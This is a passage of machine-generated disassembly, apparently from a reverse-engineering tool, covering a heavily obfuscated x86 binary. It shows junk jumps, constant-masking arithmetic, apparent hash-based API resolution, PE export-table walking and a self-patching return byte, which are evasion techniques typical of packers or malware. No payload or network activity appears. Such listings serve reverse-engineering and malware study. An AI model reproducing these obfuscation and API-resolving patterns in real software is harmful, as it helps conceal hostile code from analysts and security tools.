; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44BFAF:				; CODE XREF: sub_43704E+2973j
		jmp	nullsub_203
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_44BFB4:				; CODE XREF: sub_44D7E0-15F7Ej
		jmp	loc_442B50
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B27F

loc_44BFB9:				; CODE XREF: sub_44B27F-D0C2j
		pop	ebx
		shr	ebp, 14h

loc_44BFBD:				; CODE XREF: sub_44E63C:loc_44716Fj
		mov	eax, [esp+4+var_4]
		call	sub_4396B2

loc_44BFC5:				; CODE XREF: sub_44E63C:loc_43F904j
					; y22d6.y.:0044E67Dj
		call	sub_44D19A

loc_44BFCA:				; CODE XREF: y22d6.y.:004489E2j
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_44B27F
; ---------------------------------------------------------------------------
		jge	loc_43EE69
		jmp	sub_4441E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440626

loc_44BFDA:				; CODE XREF: sub_440626:loc_43AB95j
		xor	eax, eax
		call	sub_43C466

loc_44BFE1:				; CODE XREF: y22d6.y.:00441204j
		jmp	loc_43EBE1
; END OF FUNCTION CHUNK	FOR sub_440626
; ---------------------------------------------------------------------------
		xor	eax, edi
		sub	ecx, esi
		jmp	sub_439ACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44BFEF:				; CODE XREF: sub_43C55B:loc_4446B3j
		jz	loc_44321F

loc_44BFF5:				; CODE XREF: sub_43FEC6+75B0j
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------

loc_44BFFA:				; CODE XREF: y22d6.y.:loc_43F43Dj
		or	ecx, edi
		cdq
		pop	ecx
		test	ebp, 5A16C6B5h
		jmp	loc_443214
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_44C009:				; CODE XREF: sub_43E7BF:loc_445CE0j
		mov	eax, 8CA83E2Ch
		call	sub_43F7FF
		mov	ds:off_41E038, eax
		lea	eax, loc_447E4C
		jmp	loc_444929
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A01

loc_44C024:				; CODE XREF: sub_447A01-E540j
		xchg	esi, [esp-4+arg_0]
		jmp	sub_43BE66
; END OF FUNCTION CHUNK	FOR sub_447A01

; =============== S U B	R O U T	I N E =======================================



sub_44C02C	proc near		; DATA XREF: sub_442DB9:loc_44C5D1o

; FUNCTION CHUNK AT 0043C555 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043F6BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004443CE SIZE 0000000B BYTES

		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_438C96
		jmp	loc_43F6BA
sub_44C02C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44C03E:				; CODE XREF: sub_44BCC2+1156j
		call	sub_44D460

loc_44C043:				; CODE XREF: sub_44CEAD+6j
		jmp	loc_44507F
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_44C048:				; CODE XREF: y22d6.y.:loc_438FB6j
		and	edx, 587B318Ch
		sub	edx, 86D2F2C4h
		add	edx, 2EAEE32Ch
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_446F79
		jmp	loc_449603
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_44C069:				; CODE XREF: sub_44364E-9048j
		jz	loc_438681

loc_44C06F:				; CODE XREF: y22d6.y.:0044C9AEj
		jmp	loc_4436F1
; END OF FUNCTION CHUNK	FOR sub_44364E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_44C074:				; CODE XREF: sub_4452EE+9j
					; y22d6.y.:loc_449A70j
		jmp	loc_4491C9
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
		ja	loc_43F91B
		not	ecx
		jmp	loc_43867A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD3D

loc_44C086:				; CODE XREF: sub_43AD3D:loc_4492B1j
		push	708A4709h
		pop	edx
		sub	edx, 0DFEC8F51h
		add	edx, 7E6C509Eh
		jns	loc_44168B

loc_44C09E:				; CODE XREF: y22d6.y.:0043DB0Ej
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_43AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44C0A3:				; CODE XREF: sub_4432B8-17j
		jnp	loc_44D541
		jb	loc_442F82
		mov	[esi], ecx

loc_44C0B1:				; CODE XREF: sub_4432B8:loc_443497j
		push	eax
; END OF FUNCTION CHUNK	FOR sub_4432B8
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44C0B2:				; CODE XREF: sub_4450FD:loc_43E23Cj
		jmp	loc_440EC1
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		jnb	loc_444179
		popf
		jmp	sub_442978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44C0C3:				; CODE XREF: sub_4450FD+5ED2j
		jnp	loc_44BB50
		pop	eax
		push	ebp
		and	ecx, 0D6674323h
		jmp	loc_4397D9
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_44C0D6:				; CODE XREF: sub_444871-8EE9j
		sub	ebx, 0B27C8A4Bh
		add	ebx, 7EA31B40h
		xchg	ebx, [esp+0]
		jmp	loc_44C527
; END OF FUNCTION CHUNK	FOR sub_444871
; ---------------------------------------------------------------------------

loc_44C0EA:				; CODE XREF: y22d6.y.:loc_440E43j
		sbb	eax, ecx
		pushf
		jmp	loc_44C7DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_44C0F2:				; CODE XREF: sub_4441D9+7304j
		js	loc_44CBFE
		or	ecx, 1179F478h
		jno	loc_439785

loc_44C104:				; CODE XREF: sub_4441D9:loc_44813Dj
		add	edx, 27CC381Bh
		or	edx, 55F07179h
		add	edx, 2A4769A3h
		jmp	loc_4380B4
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------
		mov	eax, 3E69A3C2h
		call	sub_43F7FF
		mov	ds:off_41E010, eax
		lea	eax, sub_446222
		jmp	loc_43D89B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C138:				; CODE XREF: y22d6.y.:0043A16Fj
		shr	esi, 16h

loc_44C13B:				; CODE XREF: y22d6.y.:00448BE1j
		add	ebx, 0EC1EE85Fh
		xchg	ebx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44C149:				; CODE XREF: sub_4385ED+4A00j
		call	sub_43D20E

loc_44C14E:				; CODE XREF: sub_449F8E+1F74j
		jmp	loc_4442C1
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44C153:				; CODE XREF: sub_43E81B+C8A7j
		adc	edi, 0C2237B3Bh
		jmp	loc_44E02F
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------

loc_44C15E:				; DATA XREF: sub_43D20E:loc_44C416o
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_44C161:				; CODE XREF: sub_43D20E+190Ej
					; sub_43D20E+3DD7j ...
		mov	eax, [ebp-1Ch]
		call	sub_43AB31
		mov	[ebp-8], eax
		jmp	loc_43B66E
; END OF FUNCTION CHUNK	FOR sub_43D20E

; =============== S U B	R O U T	I N E =======================================



sub_44C171	proc near		; CODE XREF: sub_43C7C1-40B1p
					; sub_445629-B3A0j ...
		jz	sub_446145
		jmp	loc_43EEDB
sub_44C171	endp

; ---------------------------------------------------------------------------

loc_44C17C:				; CODE XREF: y22d6.y.:0044E3C0j
		cmp	ecx, 943CEC57h
		jmp	loc_43D7A5
; ---------------------------------------------------------------------------
		jl	loc_43A53B
		xchg	ebx, edi
		jmp	sub_4476DE

; =============== S U B	R O U T	I N E =======================================



sub_44C194	proc near		; CODE XREF: y22d6.y.:0043AA15p
					; sub_44BCC2:loc_43B851j

; FUNCTION CHUNK AT 00449360 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D4E2 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	95191457h
		pop	eax
		rol	eax, 0Fh
		xor	eax, 9FEF36E8h
		and	eax, 95D0733Fh
		add	eax, 369CC971h
		jmp	loc_449360
sub_44C194	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C1B8:				; DATA XREF: sub_44563C:loc_43856Do
		mov	cl, [ebp-0Bh]
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_44C1BB:				; CODE XREF: sub_43A041:loc_44A93Bj
		xor	edx, edx
		mov	dl, [ebp-9]
		call	sub_437680
; END OF FUNCTION CHUNK	FOR sub_43A041
; START	OF FUNCTION CHUNK FOR sub_43B035

loc_44C1C5:				; CODE XREF: sub_43B035+4B09j
		jmp	loc_448E78
; END OF FUNCTION CHUNK	FOR sub_43B035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44C1CA:				; CODE XREF: sub_44633F-18F7j
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_439D2D
		jmp	loc_43D5E5
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395B1

loc_44C1DB:				; CODE XREF: sub_4395B1+7D1Cj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4395B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCB6

loc_44C1DD:				; CODE XREF: sub_43CCB6+Fj
		jmp	sub_44C59C
; END OF FUNCTION CHUNK	FOR sub_43CCB6

; =============== S U B	R O U T	I N E =======================================



sub_44C1E2	proc near		; CODE XREF: sub_44D088+3j

; FUNCTION CHUNK AT 00439C6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A868 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00441D8E SIZE 00000019 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-8], edx
		jmp	loc_439C6D
sub_44C1E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C1ED:				; CODE XREF: y22d6.y.:loc_448BF7j
		add	ebx, 8F18388Fh
		test	ebx, 4000000h
		jmp	loc_43F75F
; ---------------------------------------------------------------------------

loc_44C1FE:				; CODE XREF: y22d6.y.:0043E520j
		push	dword ptr [ebp+0Ch]
		push	eax
		push	53E528E8h
		pop	eax
		rol	eax, 2
		xor	eax, 1B7AE888h
		sub	eax, 52624C5Dh
		jns	loc_43DD94

loc_44C21D:				; CODE XREF: y22d6.y.:0044448Ej
					; y22d6.y.:00445BF5j
		jmp	sub_4480DE

; =============== S U B	R O U T	I N E =======================================



sub_44C222	proc near		; DATA XREF: y22d6.y.:00441EFCo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C349 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043E237 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004437FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447067 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C420 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		push	39F66CABh
		pop	ecx
		jmp	loc_43E237
sub_44C222	endp

; ---------------------------------------------------------------------------

loc_44C233:				; CODE XREF: y22d6.y.:loc_438EDAj
		add	ebx, 0DD73F0DAh
		cmp	ebx, 0D7905FEAh
		jmp	loc_4447D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_44C24A:				; CODE XREF: sub_43FFE2+92E7j
		jmp	loc_43F55E
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44C24F:				; CODE XREF: sub_448EB6+CFj
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44C254:				; CODE XREF: sub_438B66:loc_442240j
		jmp	loc_447794
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_44C259:				; CODE XREF: sub_43C22F+Ej
		jmp	loc_441F64
; END OF FUNCTION CHUNK	FOR sub_43C22F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
		db 88h
		dd 0FE2h, 8B240487h, 7BE958D0h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_44C26F:				; CODE XREF: sub_4491D8+13j
		xor	eax, 0F160C50Bh
		add	eax, 53FC71A3h
		or	eax, ds:4000E7h
		xor	eax, 3AAB2834h
		jmp	loc_4393DB
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446236

loc_44C28C:				; CODE XREF: sub_446236-D819j
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_441DD7
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_441DD7
		mov	edx, [ebx+ecx]

loc_44C2A7:				; CODE XREF: sub_446236-D824j
		xor	edx, [ebx+ecx+4]
		jmp	loc_441A8F
; END OF FUNCTION CHUNK	FOR sub_446236

; =============== S U B	R O U T	I N E =======================================



sub_44C2B0	proc near		; CODE XREF: sub_40300B+3Cp
					; sub_40300B+43p ...

; FUNCTION CHUNK AT 0043AF02 SIZE 0000001A BYTES

		call	sub_43872E

loc_44C2B5:				; CODE XREF: sub_4383E0+F372j
		jmp	loc_43AF02
sub_44C2B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424AC

loc_44C2BA:				; CODE XREF: sub_4424AC+9j
		jmp	loc_43846F
; END OF FUNCTION CHUNK	FOR sub_4424AC
; ---------------------------------------------------------------------------

loc_44C2BF:				; CODE XREF: y22d6.y.:00444774j
		sbb	eax, 0E3D80CADh
		and	edx, 2128494Eh
		pushf
		jmp	loc_43A575
; ---------------------------------------------------------------------------
		popf
		or	ecx, ebx
		jmp	sub_440D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44C2D9:				; CODE XREF: sub_43704E+18j
		and	eax, 0E8E565ECh
		jnz	loc_4399B9

loc_44C2E5:				; CODE XREF: sub_43FC5D+Aj
		jmp	loc_443A14
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFF99F7h, 496DE281h, 0EAC1016Bh, 0E9D53318h, 0FFFED6B3h
		dd 16E90889h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_44C307:				; CODE XREF: y22d6.y.:0043A2CDj
		adc	edi, 94303E56h
; START	OF FUNCTION CHUNK FOR sub_440330

loc_44C30D:				; CODE XREF: sub_440330:loc_43A2BBj
		add	edx, 84962160h
		add	edx, ebp
		add	edx, 0DF1A2C1h
		mov	edx, [edx]
		jmp	loc_44914B
; END OF FUNCTION CHUNK	FOR sub_440330

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C322	proc near		; CODE XREF: sub_448EB6:loc_43EEDBj

; FUNCTION CHUNK AT 004413E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004436CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446136 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_441974, 0
		jnz	loc_43B02B
		call	nullsub_4
		call	sub_43760A
		jmp	loc_4436CB
sub_44C322	endp

; ---------------------------------------------------------------------------

loc_44C342:				; CODE XREF: y22d6.y.:0043EC86j
		not	edi
		mov	esi, ecx
		adc	ebp, 0E9E62D0Bh

loc_44C34C:				; CODE XREF: y22d6.y.:loc_43EC76j
		xor	eax, 0D2275586h
		call	sub_43CA1A
		mov	ds:dword_41E08C, eax
		lea	eax, nullsub_322
		jmp	loc_442292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44C368:				; CODE XREF: sub_440280:loc_43FFB6j
		add	ebp, 0FE67613h
		jmp	loc_438E57
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

locret_44C373:				; CODE XREF: y22d6.y.:0043BD6Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_44C374:				; CODE XREF: sub_43C7C1:loc_449B9Bj
		push	97105155h
		pop	ecx
		and	ecx, ds:4000E2h
		jnz	loc_44BD42
		push	4490FB91h
		cmp	ecx, ebx
		jmp	loc_44BD3C
; END OF FUNCTION CHUNK	FOR sub_43C7C1

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_44C392	proc near		; CODE XREF: sub_43CA62:loc_441F82j
		retn
sub_44C392	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_44C393:				; CODE XREF: sub_4384B4+11C50j
		jmp	sub_4384B4
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------

loc_44C398:				; CODE XREF: y22d6.y.:0044A546j
		push	eax
		call	sub_448E18
		jmp	loc_439F70
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	ecx, edi
		jmp	loc_445E96
; ---------------------------------------------------------------------------

loc_44C3AD:				; DATA XREF: sub_43D20E:loc_43B503o
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		push	43DBEEh
		jmp	locret_43B0B5
; ---------------------------------------------------------------------------

loc_44C3C1:				; CODE XREF: y22d6.y.:0044C6F8j
		adc	ebp, 0E81508D8h

loc_44C3C7:				; CODE XREF: y22d6.y.:loc_43BABBj
		push	offset loc_43DCC5
		jmp	loc_44E325
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_44C3D2:				; CODE XREF: sub_43DB23+3j
		mov	edx, edi
		pop	edi
		js	loc_44E0A3
		push	offset sub_44DB71
		jmp	loc_438FF1
; END OF FUNCTION CHUNK	FOR sub_43DB23

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44C3E5	proc near		; CODE XREF: sub_43E0A9:loc_439356j
		retn
sub_44C3E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44C3E6:				; CODE XREF: sub_44BCC2-E8FEj
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_44C3EB:				; CODE XREF: sub_445A15-9E4Aj
		jmp	sub_44643B
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------

loc_44C3F0:				; DATA XREF: sub_439175+24D1o
		mov	ebx, [ebx]
		add	eax, ebx
		pop	ebx
		push	ebx
		push	7B23027Ch
		xchg	eax, [esp]
		mov	ebx, eax
		pop	eax
		jmp	loc_447036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_44C406:				; CODE XREF: sub_441F08-4D56j
		jge	loc_4478B4
		mov	ebx, 0A9A5094Bh
		jmp	loc_445C36
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_44C416:				; CODE XREF: sub_43D20E:loc_43F29Ej
		push	offset loc_44C15E
		jmp	loc_444DE2
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C222

loc_44C420:				; CODE XREF: sub_44C222-FEC1j
		add	eax, 62695FB4h
		adc	ebp, edi
		cmp	ecx, edi
		jmp	loc_447067
; END OF FUNCTION CHUNK	FOR sub_44C222
; ---------------------------------------------------------------------------

loc_44C42F:				; DATA XREF: sub_4480DE+48D9o
		mov	eax, [eax]
; START	OF FUNCTION CHUNK FOR sub_4496A3

loc_44C431:				; CODE XREF: sub_4496A3:loc_44D3E5j
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_44659C
		jz	loc_445FB4
; END OF FUNCTION CHUNK	FOR sub_4496A3
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_44C443:				; CODE XREF: sub_4480DE-CB20j
					; sub_4480DE:loc_4402B4j
		jnz	loc_44CA83
		jmp	loc_449525
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------

loc_44C44E:				; CODE XREF: y22d6.y.:00437E44j
		xchg	ecx, [esp]
		mov	ebx, ecx
		pop	ecx
		xor	ebx, 45AA2846h
		rol	ebx, 8
		xor	ebx, 0C6498653h
		jmp	loc_44A4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44C468:				; CODE XREF: sub_43B98D:loc_447BFBj
		mov	eax, ebx
		xchg	eax, [esp+0]
		push	0C6F8DCB3h
		call	sub_4408CF

loc_44C477:				; CODE XREF: sub_44AEDA+2EE4j
		jmp	loc_444CB9
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4030E2

loc_44C47C:				; CODE XREF: sub_4030E2+420ADj
		jmp	loc_43CA52
; END OF FUNCTION CHUNK	FOR sub_4030E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_44C481:				; CODE XREF: sub_440395+18j
		jmp	loc_44AEC1
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_44C486:				; CODE XREF: sub_4491D8-FDEAj
		jmp	loc_445EE4
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------

loc_44C48B:				; CODE XREF: y22d6.y.:004418D6j
		pop	eax

; =============== S U B	R O U T	I N E =======================================



sub_44C48C	proc near		; CODE XREF: y22d6.y.:00441DF6p

; FUNCTION CHUNK AT 0044082C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B262 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	61254275h
		pop	edx
		or	edx, 5536C505h
		sub	edx, 0D8631DFBh
		jmp	loc_44082C
sub_44C48C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_44C4A8:				; CODE XREF: sub_444581:loc_441BE9j
		xor	esi, ds:4000E6h
		push	offset loc_43F64C
		jmp	loc_44A2B2
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		jmp	ds:off_41E158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBBE

loc_44C4BE:				; CODE XREF: sub_44CBBE+Dj
		jmp	loc_44CEC8
; END OF FUNCTION CHUNK	FOR sub_44CBBE
; ---------------------------------------------------------------------------

loc_44C4C3:				; CODE XREF: y22d6.y.:00448792j
		jmp	locret_43E101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_44C4C8:				; CODE XREF: sub_441191+13j
		jmp	loc_4461AB
; END OF FUNCTION CHUNK	FOR sub_441191
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44C4CD:				; CODE XREF: y22d6.y.:loc_43F980j
					; sub_43B98D+4353j
		jmp	loc_43998D
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_44C4D2:				; CODE XREF: sub_43CBF3:loc_43AE86j
					; sub_440943-29A5j ...
		jo	loc_43E5A0
		pop	edx
		mov	eax, [esp+0]
		push	edx
		push	ecx
		push	offset loc_43E01A
		jmp	nullsub_298
; END OF FUNCTION CHUNK	FOR sub_43CBF3

; =============== S U B	R O U T	I N E =======================================



sub_44C4E8	proc near		; CODE XREF: y22d6.y.:0043FB4Fj
					; sub_449CFC-236p

arg_4		= dword	ptr  8

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, ebx
		pop	ebx
		mov	edx, [esp-8+arg_4]
		push	eax
		mov	eax, edx
		push	offset loc_437559
		jmp	nullsub_209
sub_44C4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_44C4FF	proc near		; DATA XREF: y22d6.y.:loc_43C48Do

; FUNCTION CHUNK AT 0044505D SIZE 00000005 BYTES

		push	0FE42227Fh
		pop	ecx
		rol	ecx, 9
		add	ecx, 0ADFD6C18h
		xor	eax, ecx
		pop	ecx
		mov	ds:dword_43A6D8, eax
		jmp	loc_44505D
sub_44C4FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41E078
; ---------------------------------------------------------------------------

loc_44C522:				; CODE XREF: y22d6.y.:00445B5Bj
		jmp	loc_446166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_44C527:				; CODE XREF: sub_439765:loc_43977Aj
					; y22d6.y.:0044754Aj ...
		jo	loc_44754F
		pop	edx
		call	sub_447E7D

loc_44C533:				; CODE XREF: sub_44E52B-5778j
		jmp	loc_438E66
; END OF FUNCTION CHUNK	FOR sub_444871
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_44C538:				; CODE XREF: sub_439A90+C9BEj
		jmp	loc_442B3B
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CE6

loc_44C53D:				; CODE XREF: sub_440CE6+6j
		jmp	loc_447EC6
; END OF FUNCTION CHUNK	FOR sub_440CE6
; ---------------------------------------------------------------------------

loc_44C542:				; CODE XREF: y22d6.y.:00443B81j
		xor	eax, 2C521C32h

loc_44C548:				; CODE XREF: y22d6.y.:loc_44B45Ej
		mov	eax, [esp]
		call	sub_43B201
; START	OF FUNCTION CHUNK FOR sub_43DD42

loc_44C550:				; CODE XREF: sub_43DD42+19j
		jmp	loc_439886
; END OF FUNCTION CHUNK	FOR sub_43DD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_44C555:				; CODE XREF: sub_44193A:loc_44BCB8j
		xor	edx, 23134940h
		call	sub_44D293
		push	edi
		mov	edi, eax
		jmp	loc_43F11D
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44C568:				; CODE XREF: sub_448EB6+267j
		ror	esi, 1Eh
		jmp	loc_43E2F2
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44C570:				; CODE XREF: y22d6.y.:0043E880j
		sub	al, 99h
		push	offset loc_4460D7
		jmp	locret_4489CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_44C57D:				; CODE XREF: sub_44066C+6A80j
		jmp	loc_4412D2
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_44C582:				; CODE XREF: sub_43ED4E+7111j
		pop	edi
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B857
; END OF FUNCTION CHUNK	FOR sub_43ED4E

; =============== S U B	R O U T	I N E =======================================



sub_44C591	proc near		; CODE XREF: sub_41D486j sub_44C591+5j
					; DATA XREF: ...
		call	sub_44C59C
		jmp	ds:off_41E184
sub_44C591	endp


; =============== S U B	R O U T	I N E =======================================



sub_44C59C	proc near		; CODE XREF: sub_44A5E5:loc_4396F1j
					; sub_43CCB6:loc_44C1DDj ...

var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438968 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00439CF5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043CCCA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E32E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E804 SIZE 00000005 BYTES
